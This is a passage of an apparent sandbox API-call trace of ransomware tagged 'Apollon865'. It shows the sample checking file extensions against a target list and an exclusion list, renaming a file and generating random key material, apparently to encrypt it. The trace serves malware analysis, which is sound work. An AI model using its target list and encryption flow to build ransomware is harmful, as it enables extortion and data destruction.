	[0041.866] lstrlenW (lpString="mwb") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0041.866] lstrlenW (lpString="myd") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0041.866] lstrlenW (lpString="ndf") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0041.866] lstrlenW (lpString="nnt") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0041.866] lstrlenW (lpString="nrmlib") returned 6
	[0041.866] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0041.866] lstrlenW (lpString="ns2") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0041.866] lstrlenW (lpString="ns3") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0041.866] lstrlenW (lpString="ns4") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0041.866] lstrlenW (lpString="nsf") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0041.866] lstrlenW (lpString="nv") returned 2
	[0041.866] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0041.866] lstrlenW (lpString="nv2") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0041.866] lstrlenW (lpString="nwdb") returned 4
	[0041.866] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0041.866] lstrlenW (lpString="nyf") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0041.866] lstrlenW (lpString="odb") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0041.866] lstrlenW (lpString="odb") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0041.866] lstrlenW (lpString="oqy") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0041.866] lstrlenW (lpString="ora") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0041.866] lstrlenW (lpString="orx") returned 3
	[0041.866] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0041.866] lstrlenW (lpString="owc") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0041.867] lstrlenW (lpString="p96") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0041.867] lstrlenW (lpString="p97") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0041.867] lstrlenW (lpString="pan") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0041.867] lstrlenW (lpString="pdb") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0041.867] lstrlenW (lpString="pdm") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0041.867] lstrlenW (lpString="pnz") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0041.867] lstrlenW (lpString="qry") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0041.867] lstrlenW (lpString="qvd") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0041.867] lstrlenW (lpString="rbf") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0041.867] lstrlenW (lpString="rctd") returned 4
	[0041.867] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0041.867] lstrlenW (lpString="rod") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0041.867] lstrlenW (lpString="rodx") returned 4
	[0041.867] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0041.867] lstrlenW (lpString="rpd") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0041.867] lstrlenW (lpString="rsd") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0041.867] lstrlenW (lpString="sas7bdat") returned 8
	[0041.867] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0041.867] lstrlenW (lpString="sbf") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0041.867] lstrlenW (lpString="scx") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0041.867] lstrlenW (lpString="sdb") returned 3
	[0041.867] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0041.867] lstrlenW (lpString="sdc") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0041.868] lstrlenW (lpString="sdf") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0041.868] lstrlenW (lpString="sis") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0041.868] lstrlenW (lpString="spq") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0041.868] lstrlenW (lpString="te") returned 2
	[0041.868] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0041.868] lstrlenW (lpString="teacher") returned 7
	[0041.868] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0041.868] lstrlenW (lpString="tmd") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0041.868] lstrlenW (lpString="tps") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0041.868] lstrlenW (lpString="trc") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0041.868] lstrlenW (lpString="trc") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0041.868] lstrlenW (lpString="trm") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0041.868] lstrlenW (lpString="udb") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0041.868] lstrlenW (lpString="udl") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0041.868] lstrlenW (lpString="usr") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0041.868] lstrlenW (lpString="v12") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0041.868] lstrlenW (lpString="vis") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0041.868] lstrlenW (lpString="vpd") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0041.868] lstrlenW (lpString="vvv") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0041.868] lstrlenW (lpString="wdb") returned 3
	[0041.868] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0041.868] lstrlenW (lpString="wmdb") returned 4
	[0041.868] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0041.869] lstrlenW (lpString="wrk") returned 3
	[0041.869] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0041.869] lstrlenW (lpString="xdb") returned 3
	[0041.869] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0041.869] lstrlenW (lpString="xld") returned 3
	[0041.869] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0041.869] lstrlenW (lpString="xmlff") returned 5
	[0041.869] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0041.869] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini.Apollon865") returned 63
	[0041.869] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0041.870] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0041.870] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1120) returned 1
	[0041.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0041.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0041.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0041.871] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0041.871] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0041.871] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.871] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x760, lpName=0x0) returned 0x150
	[0041.873] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x760) returned 0x120000
	[0041.874] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0041.875] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0041.875] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.875] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0041.875] CloseHandle (hObject=0x150) returned 1
	[0041.875] CloseHandle (hObject=0x15c) returned 1
	[0041.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0041.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0041.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0041.877] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da40890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0041.877] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0041.877] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".") returned 1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="..") returned 1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="windows") returned -1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="bootmgr") returned 1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="temp") returned -1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="pagefile.sys") returned -1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="boot") returned 1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="ids.txt") returned -1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="ntuser.dat") returned -1
	[0041.877] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="perflogs") returned -1
	[0041.878] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2="MSBuild") returned -1
	[0041.878] lstrlenW (lpString="Hydrangeas.jpg") returned 14
	[0041.878] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini") returned 52
	[0041.878] lstrcpyW (in: lpString1=0x119e65a, lpString2="Hydrangeas.jpg" | out: lpString1="Hydrangeas.jpg") returned="Hydrangeas.jpg"
	[0041.878] lstrlenW (lpString="Hydrangeas.jpg") returned 14
	[0041.878] lstrlenW (lpString="Apollon865") returned 10
	[0041.878] lstrcmpiW (lpString1="angeas.jpg", lpString2="Apollon865") returned -1
	[0041.878] lstrlenW (lpString=".dll") returned 4
	[0041.878] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".dll") returned 1
	[0041.878] lstrlenW (lpString=".lnk") returned 4
	[0041.878] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".lnk") returned 1
	[0041.878] lstrlenW (lpString=".ini") returned 4
	[0041.878] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".ini") returned 1
	[0041.878] lstrlenW (lpString=".sys") returned 4
	[0041.878] lstrcmpiW (lpString1="Hydrangeas.jpg", lpString2=".sys") returned 1
	[0041.878] lstrlenW (lpString="Hydrangeas.jpg") returned 14
	[0041.878] lstrlenW (lpString="bak") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0041.878] lstrlenW (lpString="ba_") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0041.878] lstrlenW (lpString="dbb") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0041.878] lstrlenW (lpString="vmdk") returned 4
	[0041.878] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0041.878] lstrlenW (lpString="rar") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0041.878] lstrlenW (lpString="zip") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0041.878] lstrlenW (lpString="tgz") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0041.878] lstrlenW (lpString="vbox") returned 4
	[0041.878] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0041.878] lstrlenW (lpString="vdi") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0041.878] lstrlenW (lpString="vhd") returned 3
	[0041.878] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0041.878] lstrlenW (lpString="vhdx") returned 4
	[0041.878] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0041.879] lstrlenW (lpString="avhd") returned 4
	[0041.879] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0041.879] lstrlenW (lpString="db") returned 2
	[0041.879] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0041.879] lstrlenW (lpString="db2") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0041.879] lstrlenW (lpString="db3") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0041.879] lstrlenW (lpString="dbf") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0041.879] lstrlenW (lpString="mdf") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0041.879] lstrlenW (lpString="mdb") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0041.879] lstrlenW (lpString="sql") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0041.879] lstrlenW (lpString="sqlite") returned 6
	[0041.879] lstrcmpiW (lpString1="as.jpg", lpString2="sqlite") returned -1
	[0041.879] lstrlenW (lpString="sqlite3") returned 7
	[0041.879] lstrcmpiW (lpString1="eas.jpg", lpString2="sqlite3") returned -1
	[0041.879] lstrlenW (lpString="sqlitedb") returned 8
	[0041.879] lstrcmpiW (lpString1="geas.jpg", lpString2="sqlitedb") returned -1
	[0041.879] lstrlenW (lpString="xml") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0041.879] lstrlenW (lpString="$er") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0041.879] lstrlenW (lpString="4dd") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0041.879] lstrlenW (lpString="4dl") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0041.879] lstrlenW (lpString="^^^") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0041.879] lstrlenW (lpString="abs") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0041.879] lstrlenW (lpString="abx") returned 3
	[0041.879] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0041.879] lstrlenW (lpString="accdb") returned 5
	[0041.879] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0041.879] lstrlenW (lpString="accdc") returned 5
	[0041.880] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0041.880] lstrlenW (lpString="accde") returned 5
	[0041.880] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0041.880] lstrlenW (lpString="accdr") returned 5
	[0041.880] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0041.880] lstrlenW (lpString="accdt") returned 5
	[0041.880] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0041.880] lstrlenW (lpString="accdw") returned 5
	[0041.880] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0041.880] lstrlenW (lpString="accft") returned 5
	[0041.880] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0041.880] lstrlenW (lpString="adb") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.880] lstrlenW (lpString="adb") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0041.880] lstrlenW (lpString="ade") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0041.880] lstrlenW (lpString="adf") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0041.880] lstrlenW (lpString="adn") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0041.880] lstrlenW (lpString="adp") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0041.880] lstrlenW (lpString="alf") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0041.880] lstrlenW (lpString="ask") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0041.880] lstrlenW (lpString="btr") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0041.880] lstrlenW (lpString="cat") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0041.880] lstrlenW (lpString="cdb") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0041.880] lstrlenW (lpString="ckp") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0041.880] lstrlenW (lpString="cma") returned 3
	[0041.880] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0041.880] lstrlenW (lpString="cpd") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0041.881] lstrlenW (lpString="dacpac") returned 6
	[0041.881] lstrcmpiW (lpString1="as.jpg", lpString2="dacpac") returned -1
	[0041.881] lstrlenW (lpString="dad") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0041.881] lstrlenW (lpString="dadiagrams") returned 10
	[0041.881] lstrcmpiW (lpString1="angeas.jpg", lpString2="dadiagrams") returned -1
	[0041.881] lstrlenW (lpString="daschema") returned 8
	[0041.881] lstrcmpiW (lpString1="geas.jpg", lpString2="daschema") returned 1
	[0041.881] lstrlenW (lpString="db-journal") returned 10
	[0041.881] lstrcmpiW (lpString1="angeas.jpg", lpString2="db-journal") returned -1
	[0041.881] lstrlenW (lpString="db-shm") returned 6
	[0041.881] lstrcmpiW (lpString1="as.jpg", lpString2="db-shm") returned -1
	[0041.881] lstrlenW (lpString="db-wal") returned 6
	[0041.881] lstrcmpiW (lpString1="as.jpg", lpString2="db-wal") returned -1
	[0041.881] lstrlenW (lpString="dbc") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0041.881] lstrlenW (lpString="dbs") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0041.881] lstrlenW (lpString="dbt") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0041.881] lstrlenW (lpString="dbv") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0041.881] lstrlenW (lpString="dbx") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0041.881] lstrlenW (lpString="dcb") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0041.881] lstrlenW (lpString="dct") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0041.881] lstrlenW (lpString="dcx") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0041.881] lstrlenW (lpString="ddl") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0041.881] lstrlenW (lpString="dlis") returned 4
	[0041.881] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0041.881] lstrlenW (lpString="dp1") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0041.881] lstrlenW (lpString="dqy") returned 3
	[0041.881] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0041.882] lstrlenW (lpString="dsk") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0041.882] lstrlenW (lpString="dsn") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0041.882] lstrlenW (lpString="dtsx") returned 4
	[0041.882] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0041.882] lstrlenW (lpString="dxl") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0041.882] lstrlenW (lpString="eco") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0041.882] lstrlenW (lpString="ecx") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0041.882] lstrlenW (lpString="edb") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0041.882] lstrlenW (lpString="epim") returned 4
	[0041.882] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0041.882] lstrlenW (lpString="fcd") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0041.882] lstrlenW (lpString="fdb") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0041.882] lstrlenW (lpString="fic") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0041.882] lstrlenW (lpString="flexolibrary") returned 12
	[0041.882] lstrcmpiW (lpString1="drangeas.jpg", lpString2="flexolibrary") returned -1
	[0041.882] lstrlenW (lpString="fm5") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0041.882] lstrlenW (lpString="fmp") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0041.882] lstrlenW (lpString="fmp12") returned 5
	[0041.882] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0041.882] lstrlenW (lpString="fmpsl") returned 5
	[0041.882] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0041.882] lstrlenW (lpString="fol") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0041.882] lstrlenW (lpString="fp3") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0041.882] lstrlenW (lpString="fp4") returned 3
	[0041.882] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0041.883] lstrlenW (lpString="fp5") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0041.883] lstrlenW (lpString="fp7") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0041.883] lstrlenW (lpString="fpt") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0041.883] lstrlenW (lpString="frm") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0041.883] lstrlenW (lpString="gdb") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.883] lstrlenW (lpString="gdb") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.883] lstrlenW (lpString="grdb") returned 4
	[0041.883] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0041.883] lstrlenW (lpString="gwi") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0041.883] lstrlenW (lpString="hdb") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0041.883] lstrlenW (lpString="his") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0041.883] lstrlenW (lpString="ib") returned 2
	[0041.883] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0041.883] lstrlenW (lpString="idb") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0041.883] lstrlenW (lpString="ihx") returned 3
	[0041.883] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0041.883] lstrlenW (lpString="itdb") returned 4
	[0041.883] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0041.883] lstrlenW (lpString="itw") returned 3
